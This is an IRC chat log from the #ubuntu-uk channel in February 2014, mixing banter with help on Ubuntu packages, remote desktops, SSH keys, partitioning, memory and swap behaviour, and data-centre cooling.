<MooDoo> diplo: fine and dandy thanks :D
<MooDoo> diplo: and what about your good self?
<diplo> Hoping for a quieter day at work here, kids have gone back to their mums so DIY/tidy time now :/
<diplo> Well this week
<diplo> Need to talk divorce with the ex tonight which may somewhat make it a bit suckier!
<MooDoo> ouch :(
<DJones> Morning all
<dwatkins> moin moin
<JamesTait> Good morning all; happy Single Tasking Day! :-D
<MartijnVdS> Alt+Tab
<foobarry> f11
<jussi> NOOOO
<jussi> not single tasking day
<jussi> :(
<JamesTait> My new favourite day.
<MartijnVdS> JamesTait: now you can irc all day!
 * jussi is enjoying http://www.youtube.com/watch?v=NAVrm3wjzq8 while working... screw single taskign day 
<MartijnVdS> eww.. musicals, really?
<jussi> MartijnVdS: you dont have to watch it if you dont like it :)
<foobarry> i signed a pre nup with my wife that i would never have to watch a musical for the sake of pleasing my wife
<jussi> hehe
<foobarry> was top of my list
<jussi> I love les mis
<foobarry> "i would do anything for love etc"
<jussi> you are all barbarians :P
<foobarry> men
<MooDoo> I like wicked, chicago oklahoma ;)
<MartijnVdS> foobarry: http://www.lifeasaplate.com/wp-content/uploads/2011/08/meatloaf-stats.jpg
<foobarry> i don't even know how musicals came about
<foobarry> its a bizarre concept
<jussi> MooDoo: everythime I think of oklahoma there comes to mind  that scene from band of brothers...
<jussi> MooDoo: http://www.youtube.com/watch?v=q4Pdob5J3Yo
<MooDoo> :D
<jussi> yay for rain + snow... YUCK
<MartijnVdS> jussi: snow? what's that? Haven't seen that in at least a year ;)
<jussi> MartijnVdS: hehe
<jussi> hrm, I have lamb in the fridge. Im thinking of slicing it up, frying it and making pizza(yeah, weird I know). what do people here think would be nice on a lamb pizza...
<MartijnVdS> garlic sauce
<MartijnVdS> jussi: you could also go for something like http://en.wikipedia.org/wiki/Kapsalon instead :)
<jussi> MartijnVdS: that would require me to have potatoes in the house...
<MartijnVdS> jussi: remember it for next time ;)
<jussi> :)
<brobostigon> morning everyone.
<MooDoo> morning brobostigon
<brobostigon> morning MooDoo
<dwatkins> allo allo
<JamesTait> MartijnVdS, maybe now I can IRC all day, now I've finished single-tasking on my morning e-mail. :)
<brobostigon> morning dwatkins
<andrewebdev> On ubuntu server, is there a way to install nginx with the nginx_pagespeed module, directly from the repo? Or would I have to build nginx myself
<MooDoo> not sure about the module, but you should be able to apt-get install nginx
<MooDoo> https://www.digitalocean.com/community/articles/how-to-install-nginx-on-ubuntu-12-04-lts-precise-pangolin does this help?
<andrewebdev> installing nginx is not the issue really, it's because nginx needs to be built with nginx_pagespeed enabled
<MartijnVdS> andrewebdev: what does that module do?
<andrewebdev> was basically hoping there may exist some package that does this (am actively googling for that)
<andrewebdev> MartijnVdS,  https://github.com/pagespeed/ngx_pagespeed
<MooDoo> andrewebdev: what about this :D = http://www.nginxtips.com/how-to-install-nginx-pagespeed-module/
<MooDoo> looks like you have to build it then again what do I know :D
<andrewebdev> yeah I was hoping a supported package might already exist within official repos
<MooDoo> andrewebdev: https://launchpad.net/~sandyd/+archive/nginx-current-pagespeed ?
<andrewebdev> MooDoo, looks promising will review that alongside my other options
<MooDoo> andrewebdev: nice one :D
<MooDoo> yay facebook chat for my page lol small things etc :D
<andyc> Is there an easy way with ubuntu to enable VNC remotely and get access to my other desktop?
<MartijnVdS> andyc: there used to be, maybe you have to install it manually now
<MartijnVdS> andyc: "vino" and its preferences tool are what you're looking for
<andyc> I've tried to update preferences for vino but still no joy
<andyc> I'll just keep going at it
<MartijnVdS> andyc: you may need to log out & back in, or start vino manually once
<andyc> MartijnVdS, Problem solved - I hadn't ticked a box in vino prefs to configure network automatically
<jussi> andyc: I just allow google to handle it for me (chrome remote desktop)
<foobarry> jussi: any good?
<jussi> foobarry: it works easily, simple to install, minimal hassle, no port forwardingg etc
<foobarry> cool, never tried it
<foobarry> wonder how it works
<jussi> and its great for the extended famil, you tell them to click a button and give the code
<jussi> http://en.wikipedia.org/wiki/Chrome_Remote_Desktop
<foobarry> taken me all morning to update bios and ilom firmware on 2 ibm servers
<foobarry> 3 reboots, frequent restarts and fails
<foobarry> all via the java remote console *shudder*
<jussi> foobarry: note that the wiki page is a bit old though
<jussi> (linux remote desktop isnt coming soon anymore)
<ikonia> I dont suppose anyone has any UK supplier that has unusual coloured ethernet cable, eg: striped, or something a bit unusual
<jussi> ikonia: I dont, but I have a bright pink one here :D
<foobarry> tried rs components?
<ikonia> jussi: notohing unusual about pink, a standard colour
<foobarry> i used to get blue translucent
<ikonia> foobarry: looking at RS and commsexpres now, but its all standard colours,
<jussi> ikonia: before I found this one, I had never seen a pink one before
<MartijnVdS> ikonia: http://gizmodo.com/5501265/pink-jeweled-kabling-ethernet-cables-are-the-new-hot-accessory-for-2010
<MartijnVdS> ikonia: http://www.ebay.com/bhp/pink-ethernet-cable
<jussi> ikonia: also: http://www.chord.co.uk/product/chord-indigo-ethernet-tuned-aray/
<ikonia> lets see.....
<ikonia> MartijnVdS: a good attempt, but it needs to be more than just the connector that is a bit different
<MartijnVdS> ikonia: the connector is different and the cable is pink
<ikonia> jussi: that's just really "purple" with a massive price tag, not quite the unusual I was thinking
<MartijnVdS> ikonia: what are you thinking of then? :)
<ikonia> MartijnVdS: already got pink cable, hence the need for something different
<jussi> ikonia: yeah, hard to find - I spent 10 mins looking and that purple was the best I could find. some nice usb cables available though :P
<ikonia> jussi: really annoying, I need to basically easy identify a small vlan segment, in a place that already has tons of different coloured cables
<jussi> ikonia: take some electrical tape an spiral it around a normal one?
<MartijnVdS> ikonia: http://www.ebay.com/itm/100pcs-Multicolor-Number-Mark-for-Ethernet-RJ45-12-11-Wire-Power-Cable-/390413623532?pt=US_Cabling_Tools&hash=item5ae67720ec
<ikonia> jussi: bit sloppy, want "off the shelf" but a good thought
<MartijnVdS> ikonia: those number tags are teh bomb -- use them to tag cables with vlan ids :)
<ikonia> MartijnVdS: annoyingly the plain cables all have those on, and they have been proven not to work at this place.
<ikonia> MartijnVdS: yeah, used them before, they work great....except with these people
<ikonia> I'll find something, I have a blue/white stiped one at home, so some places must do them
<ikonia> striped
<jussi> ikonia: denon have a black with blue dots... unfortunately it costs 499$ :P
<ikonia> ouch
<MartijnVdS> for audiophiles
<ikonia> yes, not core for sending a few packets down
<jussi> ikonia: btw, is it only color that could be used to distinguish it ?  how about usingthose "flat" cables?
<ikonia> got to be colour or a "visual" thing
<MartijnVdS> so a "flat" cable would work. or a braided one
<MartijnVdS> ikonia: http://www.aliexpress.com/item/New-10M-Network-Fiber-Optic-Flat-cable-for-RJ45-UTP-CAT6a-Cat-6-Ethernet-Patch-F0327/609100336.html
<ikonia> could work, I'll check it with them
<ikonia> nice efforts
<jussi> ikonia: yeah, thats the kind of flat one I meant :)
<ikonia> it's more the light blue that works for me
<knightwise> There :)
<knightwise> Wife just spent her first day on her brand new linux machine.
<knightwise> :) I didn't give her an ounce of explenation and she just went ahead and toddled along.
<SuperMatt> knightwise: is she normally computer literate?
<knightwise> she is geeky enough :) I installed elementary on her 24 inch imac
<knightwise> she took to it like a fish to water
<SuperMatt> hmmm... I think the real test is when it's done to someone non-geeky, but props for her taking to it well :)
<knightwise> I switched her gran (She's 84 now) to linux about 5 years ago
<knightwise> Granny alternates between a W8 laptop and her linux mint machine
<SuperMatt> that's impressive
<SuperMatt> running cinnamon?
<knightwise> yep
<knightwise> https://help.ubuntu.com/community/UbuntuForGrandma
<knightwise> (this is when i switched her to ubuntu)
<knightwise> after unity i moved her over to cinnamon
<MartijnVdS> I just installed 12.04 for my grandma
<MartijnVdS> plain
<MartijnVdS> "Oh wow, this is much easier" (she'd only used XP before)
<knightwise> true
<knightwise> must say I simplified cinnamon a little for her ...
<MartijnVdS> see, I just gave her Unity :)
 * knightwise just not big on unity . I have it on my lts machines though.
<SuperMatt> I love unity
<SuperMatt> I've tried other DEs, and they just don't seem to gel with me
<MartijnVdS> I run Unity, I don't *use* it much though
<MooDoo> I liked the slab on suse
<MartijnVdS> just the button bar and Alt+F2
<knightwise> I use KÃ¼pfer
<SuperMatt> MartijnVdS: I'm much the same. I actually rarely use the dash because I have everything I need in the launcher
<MartijnVdS> SuperMatt: yeah, I run terminals and a browser.. so that's all that's in there :)
<SuperMatt> I've got files, terminal, firefox, thunderbird, sublime, chrome, software updater, keepass, steam
<knightwise> to be very honest , that is what I do the most too
<knightwise> what is sublime ?
<SuperMatt> and this is for my work box
<SuperMatt> anything else isn't required
<MartijnVdS> knightwise: an editor for people who can't vim
<SuperMatt> oi!
 * knightwise is a nano slut
<SuperMatt> I can so use vim!
<SuperMatt> but it's just as powerful and looks real pretty
<MartijnVdS> knightwise: poor man
<SuperMatt> I use it mostly for writing code
<MartijnVdS> SuperMatt: if I use anything other than vim, my files end up full of ":wq"
<SuperMatt> lols
<SuperMatt> I know what you mean
<SuperMatt> my command line history can be seen to have !q in it
<SuperMatt> or "/blah/scrip!q"
<SuperMatt> wait
<SuperMatt> no
<SuperMatt> I mean :q!
<SuperMatt> I do that stuff so automatically that when I was just thinking about it, my brain spazzed
<MartijnVdS> :)
<ali1234> i am looking forward to the day when some hotshot kid takes over maintenance and adds a touch UI to it
<MartijnVdS> ali1234: to what? Unity?
<MartijnVdS> ali1234: vim?
<ali1234> i will point and laugh at the vim users and tell them "you just hate change, stop living in the past"
<MartijnVdS> ali1234: yes, you type with your on-screen keyboard!
<MartijnVdS> and you autocorrect
<SuperMatt> using vim on a touch interface is a pita
<MartijnVdS> s/using vim on //
<ali1234> no it isn't, we did extenive user testing with three people and they all said it was much better
<SuperMatt> mmm... pita bread
<SuperMatt> ali1234: lawls
<MartijnVdS> SuperMatt: Pita bread, paid for at a PoS? ;)
<SuperMatt> https://xkcd.com/1172/
<ali1234> all three people never used vim or a keyboard before, which means they can be much more objective
<SuperMatt> obligatory xkcd post
<knightwise> Lol
<knightwise> what do VIM and brokeback mountain have in common ?
<knightwise> " I don't know how to quit you "
 * SuperMatt sniggers
<MartijnVdS> knightwise: *emacs
<ali1234> what emacs really needs is an app store
<MartijnVdS> ali1234: suggest it to GNU
<MartijnVdS> FSF8
<MartijnVdS> *
 * jussi snorts
<jussi> app store...
<jussi> :D
<MartijnVdS> knightwise: Almost 10km ice skating time for Belgium!
<shauno> I think what emacs is really missing is a kernel.  one day, hurd, one day
<foobarry> touchpad doesn't work in centos?
<foobarry> i think my install is shagged
<MartijnVdS> feature!
<foobarry> i seem to remember this one never recovered from ctrl-c during a yum update
<ali1234> is this legit: http://www.reddit.com/r/Ubuntu/comments/1y1eex/app_development_and_the_click_store_question/cfh2fs8
<neuro> yum auggggh
<ali1234> yum is still the least bad rpm front end
<foobarry> wow ali1234
<foobarry> what does debian use to install software?
<foobarry> via gui
<ali1234> foobarry: synaptic
<MartijnVdS> gdebi 8-)
<neuro> that's like saying a rusty blunt knife is the least bad implement to stab yourself in the face with
<MartijnVdS> ali1234: until they write that systemd plugin to install packages
<foobarry> 10yrs ago it was synaptic too
<ali1234> yeah so anyway is that actually true or not? popey? davmor2?
<foobarry> somebody should tell omgubuntu
<neuro> about the rusty blunt knife?
<popey> is what true?
<ali1234> http://www.reddit.com/r/Ubuntu/comments/1y1eex/app_development_and_the_click_store_question/cfh2fs8
<popey> I don't think so.
<popey> not that I've heard anyhoo
<popey> Laney is on the desktop team, he may know â»
<MooDoo> https://launchpad.net/ubuntu/trusty/+source/software-center/13.10-0ubuntu2
<neuro> yeah, i'd be interested to know that guy's sources
<neuro> fwiw, "that guy" = https://launchpad.net/~nhaines
<MooDoo> there are a lot of websites out there that reference 14.04's software center, so I'm not sure it's going
<ali1234> it says 14.10
<MooDoo> I'll shut up then
 * neuro stops 6 ec2 VMs to save some wonga
<neuro> one day i'll get auto scaling working
<neuro> but not today
<neuro> definitely not while we're using these &!%$ing centos images :9
<neuro> centos ... the thinking man's rusty blunt knife
<foobarry> stabs himself
<neuro> and if i could slap the guy who built them, i would
<neuro> 32-bit installs
<foobarry> xorg-x11-drv-synaptics conflicts xorg-x11-xserver-xorg
<neuro> so i can't bump up to the newer ec2 instance types :P
<davmor2> ali1234: aiui the apps scope will replace USC in unity8.  So usc will nolonger be in the default install of unbuntu but will be supported for the sake of 14.04 until 19.04 when the lts dies.  After that I have no idea what the plans are.
<neuro> yeah
<neuro> oops
<neuro> wrong bloody window
<neuro> TOO MANY WINDOWS
<MartijnVdS> neuro: ALT+F4
<neuro> does nothing
<neuro> mac, remember?
<MartijnVdS> neuro: sudo poweroff
<MartijnVdS> neuro: oh, Cmd+Q
<neuro> OH NOES MY WINDOW HAS TEH CLOSEDORS
<MartijnVdS> Much window. Very close.
<neuro> so gone
<neuro> not that you'd see anything if i did cmd+q ... irssi proxy + Linkinus ftw
<MooDoo> I'd make a comment about fdisk or something equally is silly but i'd get slapped.
<neuro> again, not that it would do much to me
<MartijnVdS> sudo dd?
<neuro> hmm possibly
<neuro> i broke a server the other day with some overzealous rm -rf'ing as root
<neuro> used ; in the command chain rather than &&
<neuro> which was stupid
<MartijnVdS> "and much was learned that day"
<neuro> left /bin and /etc looking rather empty
<neuro> MartijnVdS: yeah, i learned how quickly i could respin the server from an AMI ;)
 * popey has put a lambs leg in the oven on low
<popey> house is starting to smell nicely of dead lamb
<popey> This is a Good Thing â¢
<neuro> popey: if it's on low, make sure you bend your legs, not your back
<neuro> dead meaty things + controlled heat + confined space = nicey smell
<neuro> dead meaty things + uncontrolled heat + outdoors = nasty smell
<neuro> odd how that works
<MooDoo> sorry I just heard cooked lamb hmmmmmmmmmmm
<Gribbles>  hi, i'm using github and just signed up to openshift. openshift wants my public ssh key, so do i give it the same key i'm using for github or create a new one and give it that?
<MartijnVdS> Gribbles: you can do either. I use the same one everywhere
<MartijnVdS> Gribbles: having multiple keys limits the damage that can be done if the private part gets exposed somehow (hacked machine, government snooping etc)
<MartijnVdS> except if they're all on the same machine, stealing all keys is just as easy as stealing one
<MartijnVdS> so.. see why I chose one key over several ;)
 * awilkins has used the same private key for aaages
 * MartijnVdS recently upgraded to a longer one
<awilkins> 1024 bit here
<awilkins> I'm an 11 stone crypto-weakling it seems
<MartijnVdS> 4096
<awilkins> Maybe I should upgrade... same key for my router as well
<MartijnVdS> took forever to generate
<awilkins> Lots of frantic mouse wiggling
<Gribbles> MartijnVdS, thanks :)
<MartijnVdS> awilkins: uhhuh "mouse wiggling"
<MartijnVdS> aaanyway.. time to go home :)
<bashrc> the encryption is only as good as the randomness - hence the wiggling
<MartijnVdS> bashrc: http://www.youtube.com/watch?v=UCaEjQiaHkU
<Dermot_Stry> http://www.iomtoday.co.im/news/isle-of-man-news/plan-to-create-botanic-garden-of-global-standing-1-6432345    , Note this is using a Manchester company , not a local one . bye.
<Dermot_Stry> leaves.
 * awilkins wonders how long an 8192 bit key takes
<awilkins> Really fast, apparently
<awilkins> Hmm
<neuro> hmm
<neuro> capital one really want me to use their credit card
<neuro> https://www.dropbox.com/s/h89niwp0rsiadju/Screenshot%202014-02-18%2016.48.49.png
<neuro> "Has anyone lost a bag of shopping? A white carrier bag with produce and water has been handed in â found in the Coffee Lounge earlier today."
<neuro> the fun emails i get at work
<jussi> neuro: capital one :/
<neuro> aye
<knightwise> eeevenin everyone
<knightwise> hey emma
<knightwise> hey jussi neuro !
<jussi> knightwise: hi. hows the wife coping with E?
<knightwise> Doin fine :)
<knightwise> just did her first workflows today ( mail , printing out some shipping tickets and stuff)
<knightwise> she only mentioned that it looks a little different , but that its also a little faster
<knightwise> so thats a good thing :)
<knightwise> Today I mounted our picture share in a folder and pointed her screensaver at the directory
<knightwise> so now she has her "picture slideshow" as a screensaver
<jussi> knightwise: you removed the naughty pictures I hope :P :P
<knightwise> We have a seperate share for those :p
<jussi> hehe
<neuro> ello knightwise
<SuperEngineer> So let's see who's up for a partion question... "building" a new PC with new disk amonst other stuff...
<neuro> you know partion isn't a word, right?
 * neuro runs
<SuperEngineer> if I want to pre-partiton the disk [reason soon obvious]...
<knightwise> go on ...
<SuperEngineer> could I create a root partition on new disk & simply copy all root stuff from [single partion setup on existing disk] to the new? [copy using sudo assumed]
<SuperEngineer> then create home and do the obvious
<neuro> why not just fresh install?
<knightwise> Dd-ing everythong over is not recommended
<knightwise> i would do a fresh install and just copy over the /home
<neuro> dd would work if the partition sizes match
<neuro> like exactly
<SuperEngineer> want to wait till 14.04 release rather than start at beta
<neuro> copying sounds like too much hassle, pain dealing with dev, proc, etc
<knightwise> SuperEngineer: give us the whole story .. what are you doin ?
<neuro> why not wait til 14.04 comes out then? :)
<SuperEngineer> knightwise: - semi-building new pc [exisiting is an old Dell Dimension with extra memory & better graphics card & bigger disks etc
<SuperEngineer> new is based on a Zoostorm [+ nVidia GTX650, extra disk and as much as can be salvagedfrom Dell as is useful
<SuperEngineer> neuro: I'm soon to go for a knee op - I will be off the road for a little while after - thought that this would be good time to do the dirty
<neuro> 13.10 then?
<neuro> and do a release upgrade come april?
<SuperEngineer> ...though still waiting for required psu to arrive and for dearest sistewr to send early birthday pressy to double the 4GB RAM in it
<neuro> just be wary of the ram in the zoostorms
<neuro> i had to replace mine very very quickly
<neuro> and the HDD i got was shonky as well
<SuperEngineer> neuro: that brings me back to original q/  !
<SuperEngineer> I want to set this up "right" -  I would like separate root, home [+dat] partitions
<knightwise> I would do a clean install on a clean system.
<knightwise> so seperate partitions for / home and swap
<knightwise> nice and clean
<knightwise> and then just copy over your settings in /home
<SuperEngineer> copy /home from 12.04 to which - 13.10 [not fancied], 14.04 [still late beta]. hmmm
<neuro> do a 12.04 install then?
<neuro> so everything marries up
<knightwise> i did that today
<neuro> then do the 14.04 upgrade
<knightwise> installed 12.04 on my mac mini (and yesterday on my wifes imac)
<neuro> ewww!
<neuro> heathen!
<knightwise> no .. i'm a SLIDER :)
<knightwise> cross platform guru :)
 * neuro hugs his Macs
<neuro> there, there
<neuro> don't listen to the bad man
<knightwise> Hahahah :p
<knightwise> I do horrible things to macs :)
<SuperEngineer> or download 12.04.4 and re-update it!  why the whotsits didn't I think of that option!!!! [thanks for being my brain / bouncing board - sincerely]
<neuro> hehe
<knightwise> there you go :)
<SuperEngineer> I *do* think U-UK should be compulsory or available on the NHS at least ;)
<knightwise> neuro : here's a horror story for you http://knightwise.com/switch-week-linux-on-the-imac-and-more/
<neuro> HEATHEN!
<knightwise> As the daleks say BLAS-PHE-MY !
 * SuperEngineer downloads 12.04.4 - smiles
<SuperEngineer> darn... now I've got to thinking about "full utilsation"...
<SuperEngineer> ..any know if there is any advantage in running the desktop monitor from on boarrd graphics and leaving the nVidia to dribe the "big screen" [the TV]
<SuperEngineer> or maybe use spare monitor [vga only] attached to onboard graphics & let nvidia to main monitor + TV
<SuperEngineer> [or maybe just experiment & find out when all safely uo & running ;) ]
<mapps> yo
<SuperEngineer> whoops - apparently brain thought I was on #SpellItBadly channel
<mapps> whats up guys
<MartijnVdS> ^ that way
<SuperEngineer> MartijnVdS: was that for moi?
<MartijnVdS> no, for mapps
<MartijnVdS> he asked what up was
<SuperEngineer> hokey dokeys
<mapps> :D
<mapps> hey MartijnVdS
 * SuperEngineer searches key map for other "ups"
<mapps> have you been to the amsterdam dungeons?
<mapps> or london even
<mapps> :)
<MartijnVdS> mapps: no.
<mapps> has anyone? im guessing london dungeons is jack the ripper
<shauno> I've always avoided them.  seems like an incredibly cheesy chain
<mapps> oh#
<mapps> i loved the amstersam dungeon..butr i did expect it to suck tbh shauno
<mapps> just wondered how good the london one is
<mapps> still not managed to fix the socket errors on this stupid url filtering stuff
<shauno> this is absolute genius; https://www.youtube.com/watch?v=NoTMC-uxJoo
<shauno> I actually wish we had a use for these 'water curtain' signs just because they look neat
<dwatkins> put one in yourt shower
<SuperEngineer> tempted to suggest replacing "yourt shower" with "yoghurt shower" - seems so much more fun
<shauno> a shower in a yurt does sound quite awkward
<mapps> a yurt
<mapps> that a tent kinda thing?
<shauno> indeed
<ali1234> it's new humble bundle time...
<MooDoo> evening all
<daubers> Evening
<mapps> hmm
<mapps> i noticed my machines connection had died
<mapps> so i tried
<mapps> oogging onto it locally..AND its just hanging on login after ive enterred my password
<ali1234> probably out of memory or disk space
<mapps> ah ok would that cause that? where would an error about that be written to
<ali1234> dmesg?
<ali1234> but the point is that if you run out of disk space nothing can write to any logs
<mapps> hmm
<mapps> i think its memory]got 800gb free
<diddledan> I've also had issues where /dev/pts isn't mounted but that's an esoteric issue that I've only encountered on gentoos
<ali1234> if you run out of ram it triggers swapping which overloads disk io and makes reading or writing impossible, effectively hanging the machine
<diddledan> and only affected ssh
<ali1234> i don't understand why they even bother enabling swap
<mapps> ah so that would be why the connection died too
<ali1234> all it does is make the computer freeze for 20 minutes before the oom killer kicks in
<mapps> oom?:)
<diddledan> ali1234: swap is a bit of a mess on linux isn't it?! :-p
<ali1234> swap isn't the problem, the i/o scheduler is
<ali1234> it's total garbage
<ali1234> noop scheduler performs better on any type of disk
<ali1234> *possibly excluding high end raid arrays, ut who the hell has one of those?
<ali1234> the other day i tried to tar up a large directory on a web server... the server stopped serving pages until i killed tar
<diddledan> it's not uncommon to see 4GB of swap available on random boxes - that's gonna take some time to reach the OOM where the system is unresponsive
<diddledan> ouch
<diddledan> similar behaviour is another reason Gentoo are bad servers when it comes to upgrade time
<ali1234> i have 16gb ram and 32gb swap
<diddledan> "I'll just compile this upgradE"
<diddledan> "in 1GB of RAMs and 1CPU"
<ali1234> the computer can hang for literally hours if some badly behaved program decides to use 32gb of ram
<ali1234> it always recovers once the oom killer kicks in, but usually X crashes due to very very overdue irqs
<ali1234> this is why i want cgroups support, so i can reserve say 1gb for system processes
<diddledan> isn't the point of an IRQ that it actually interrupts something? :-p
<ali1234> yeah you'd think that but apparently disk i/o already runs in irq mode, who knows?
<ali1234> you can't irq inside an irq
<diddledan> >.<
<ali1234> (maybe you can on x86, it wouldn't surprise me all that much)
<diddledan> it would be nice if the IRQ could use all CPUs/Cores instead of hitting the same one all the time for backwards compatibility (or so I read?)
<ali1234> it wouldn't really be all that useful
<ali1234> most IRQs are not time critical in normal operation
<ali1234> it only becomes a problem when the kernel hangs for more than a few minutes at a time
<ali1234> you're not supposed to do anything inside IRQ context except clear the flags and marshal the data into some kind of queue so that it can be handled in a non-IRQ context
<ali1234> of course, that sometimes involves allocating memory...
<diddledan> isn't there a DoS technique referred to as an interrupt storm? :-D
<ali1234> i dunno, but i would guess that means something else
<diddledan> http://en.wikipedia.org/wiki/Interrupt_storm
<diddledan> heh the interrupt storm is a modern term for a problem that happened on the apollo 11 lunar lander - the infamous 1201 and 1202 errors
<diddledan> that also**
<diddledan> turns out the guys at nasa were pretty clever
<diddledan> """Happily for Apollo 11, the AGC software had been designed with priority scheduling. Just as it had been designed to do, the software automatically recovered, deleting lower priority tasks including the 1668 display task, to complete its critical guidance and control tasks."
<diddledan> is that an early OOM killer? :->
<diddledan> wow, the apollo guidance computer (AGC) was used all over the place
<diddledan> even in submarines
<diddledan> I'll just leave this here: http://www.amazon.com/JL421-Badonkadonk-Land-Cruiser-Tank/dp/B00067F1CE/ref=sr_1_3?tag=ohmy0c-20
<ali1234> http://apple.stackexchange.com/q/121345/59906
<diddledan> why would anyone want to?!
<diddledan> I guess "because it's there and my ashtray is a whole foot the other way"
<ali1234> i dunno
<diddledan> waaa, kernel patches galore]
<diddledan> I don't get why ksplice isn't used in more places
<Monotoko> isn't that the one Oracle bought?
<diddledan> yeah
<diddledan> but it was opensauce beforehand
<Monotoko> things like that tend to die when companies like Oracle buy them :(
<diddledan> indeed
<diddledan> looks like the website (ksplice.com) hasn't been updated since the acquisition in 2011
<diddledan> I get the impression that nobody in the wider community either knew about it or thought it was a silly idea
#ubuntu-uk 2014-02-19
<diddledan> I wonder how ksplice (oracle) differentiate between a desktop install of ubuntu vs a server install?
<diddledan> (desktop gets freebies, whereas server doesn't)
<shauno> I didn't think either got anything anymore?
<diddledan> apparently ubuntu desktop gets freebies, and legacy account holders get ubuntu-server updates as part of their plan
<diddledan> new account holders are limited to oracle linux
<diddledan> looks like they also have a "30 day trial" for RHEL
<diddledan> oracle customers need to get access via "ULN"?
<diddledan> aah, unbreakable linux network
<diddledan> as if they have a network of people involved
<maps|wrk> hey
<diddledan> allo maps|wrk
<maps|wrk> whats everyone upto?
<maps|wrk> http://www.dailymail.co.uk/femail/article-2561995/When-Jane-56-met-Michael-28-holiday-The-Gambia-thought-true-love-But-happened-left-sister-fearing-life.html
<maps|wrk> how on earth do people fall for that
<maps|wrk> d'uh
<diddledan> dang
<maps|wrk> odd eh
<diddledan> lol https://www.youtube.com/watch?v=AA56LgpFbSw
<diddledan> honda advert for dogs
<maps|wrk> lol
<maps|wrk> anyone watched babylon?
<diddledan> I don't think I know of it
<diddledan> channel 4?
<diddledan> looks interesting
<diddledan> rgh @ 4od adverts
<maps|wrk> ya chan4 4od
<maps|wrk> haha yea irritating eh
<maps|wrk> irritating that there seems to be ads on ALMOST everytihng on youtube too these days eh
<diddledan> lol - the police come off really well in the first few minutes.. or not
<maps|wrk> haha you gonna watch it all? let me know if its worth watching ..will watch it when im home if it is:)
<diddledan> that was actually pretty good
<diddledan> somewhat of an experimental directing style.. shaky camera syndrome
<mapps> hey
<mapps> diddledan,  wortgh watching then?
<diddledan> mapps: yeah, it seems to be the start of what could be a good series
<diddledan> I wonder if they got any money from TED for including a TED Talk-esque bit
<mapps> cool willl check it out the ads made me wonder about it
<mapps> said from creators of pep show and danny boylwe
<mapps> *boyle
<diddledan> at the least watch the first episode as I have and then decide whether to watch the rest when they're aired - I think I shall be watching the rest
 * diddledan sky+'s it
<mapps> ya will do
<mapps> was just watching the following else id have watched it now:)
<diddledan> heh
<mapps> not working early i guess?:)
<jussi> hrm, where is MooDoo today? :(
<MartijnVdS> \o
<TheOpenSourcerer> morning
<diddledan> allo
<awilkins> GAH, I can't find my lanyard
<awilkins> Which has my RSA token on it
<awilkins> Anyone have the magic hack for RSA?
<brobostigon> morning boys and girls.
<diplo> Morning all
<brobostigon> morning diplo
<knightwise> morning everyone
<brobostigon> morning knightwise
<bigcalm> Good morning peeps :)
<popey> YO!
<bigcalm> Yos
<bigcalm> They go up and down
<popey> exciting day
<bigcalm> Oh, what happens?
<diddledan> there's some sort of thing happening at 16:30?
<bigcalm> diddledan: there will be 1.5 hours left to the day at that point
<knightwise> i love using ssh on my phone.
<diddledan> hmm, can't find the email now
<diddledan> popey: tell me I'm not going mad
<popey> yes
<diddledan> I can't find the email but I'm sure something was happening today
<popey> squee
<bigcalm> I'm guessing something phone related?
<diddledan> I think I recall something about MWC (mobile world congress?)
<diddledan> I've got a feeling the NSA have excised all reference from my gmail however
<bigcalm> Oh, of course MWC
<diddledan> the only reference in my gmail to mwc and ubuntu or canonical is from january
<diddledan> suggesting dates of 24-27
<diddledan> I swear I saw an email yesterday
<JamesTait> Good morning all; happy Tug o' War Day! :-D
<hoover> hey folks
<dwatkins> ahoy
<shauno> ahoj dwatkins
<popey> pip pip
<dwatkins> tally ho
<MartijnVdS> howdy!
<jussi> strange. youtube works in chrome, but not in chromium...
<dwatkins> what flash version does Chromium have, and is PPAPI and NPAPI enabled, jussi?
<jussi> dwatkins: I have actually no idea how to check those things ?
<dwatkins> chrome://plugins
<dwatkins> ctrl+F, type "flash"
<jussi> Adobe Flash Player - Version: 11.2 r202
<jussi> Shockwave Flash 11.2 r202
<jussi> Name:	Shockwave Flash
<jussi> what are these PPAPI and NPAPI ?
<dwatkins> There are two instances of Flash in Chrome, one using the old API, the other using a new one, afaik. In some cases, you might disable one or the other for compatability reasons.
<dwatkins> https://code.google.com/p/ppapi/ has more info
<jussi> ok. how do I check they are enabled ?
<dwatkins> there should be a link to disable each just under the "type" line in the chrome://plugins page
<jussi> hehe, details wasnt expanded, thought this was a bit abre
<jussi> bare
<jussi> but seems everything is enabled :/
<dwatkins> what are the symptoms?
<dwatkins> (and do you have flash block enabled, I assume not...)
<jussi> dwatkins: many many youtube videos look like this: http://i.imgur.com/iATtNHS.png
<jussi> If I copy tyhe url and open in chrome, it works
<dwatkins> curioser and curioser, perhaps the developer panel will show you more info
<dwatkins> also, check if you have HTML5 enabled at https://www.youtube.com/html5
<jussi> default player is currently used
<jussi> meh, Ill switch to html5 and see if that helps
<dwatkins> that video plays for me as HTML5 in Chromium
<jussi> now a couple of months old, but heck, this sounds pretty bad! http://www.theguardian.com/media/2013/nov/13/wikileaks-trans-pacific-partnership-chapter-secret
<dwatkins> nothing about the great pacific garbage island, then
<foobarry> best practice for server room temperature?
<shauno> varies wildly
<foobarry> what do ppl in here do?
<shauno> trying to keep the datacenter goosebump-chilly is old-school but cost ineffective.  'hot aisle containment' is a nice theory but fussy in practice.  a newer trend is letting stuff run at 40-50C to save on cooling costs.  google appear to be fond of that one
<foobarry> 40-50, you sure?
<foobarry> you mean internal temps
<foobarry> nor air temp
<shauno> I literally mean running the datacenter so hot that it's inhumane to have staff in there for more than 10-15 minutes at a time
<foobarry> got a link for that?
<foobarry> i thouht they ran it between 18-27 degrees
<shauno> https://www.datacenterknowledge.com/archives/2012/03/23/too-hot-for-humans-but-google-servers-keep-humming/
<foobarry> servers tend to buckle and solder melts at 40-50
<shauno> http://searchdatacenter.techtarget.com/podcast/As-data-center-cooling-costs-rise-hot-is-the-new-cool-Podcast-QA
<foobarry> . ?We?ve had very few excursion hours, and they don?t last long, so we let the site run right through them. We ask our employees to go in and do office work. It?s too warm for people, but the machines do just fine.?
<foobarry> typically they run cooler most of year though
<shauno> right.  they're running more and more datacenters on free air.  so summer can suck
<diplo> foobarry: Use to run mine at about 22-23 degrees room temp
<diplo> I have no really servers any more at new company so don't have that issue, but this was for 60+ servers + 10kva ups etc
<shauno> we do hot-aisle-containment, but we also sell it, so I think we have to
<shauno> it's great in theory but you have to be incredibly strict about blanking panels, else you get open loops where the front can suck air straight from the back and ruin the gig
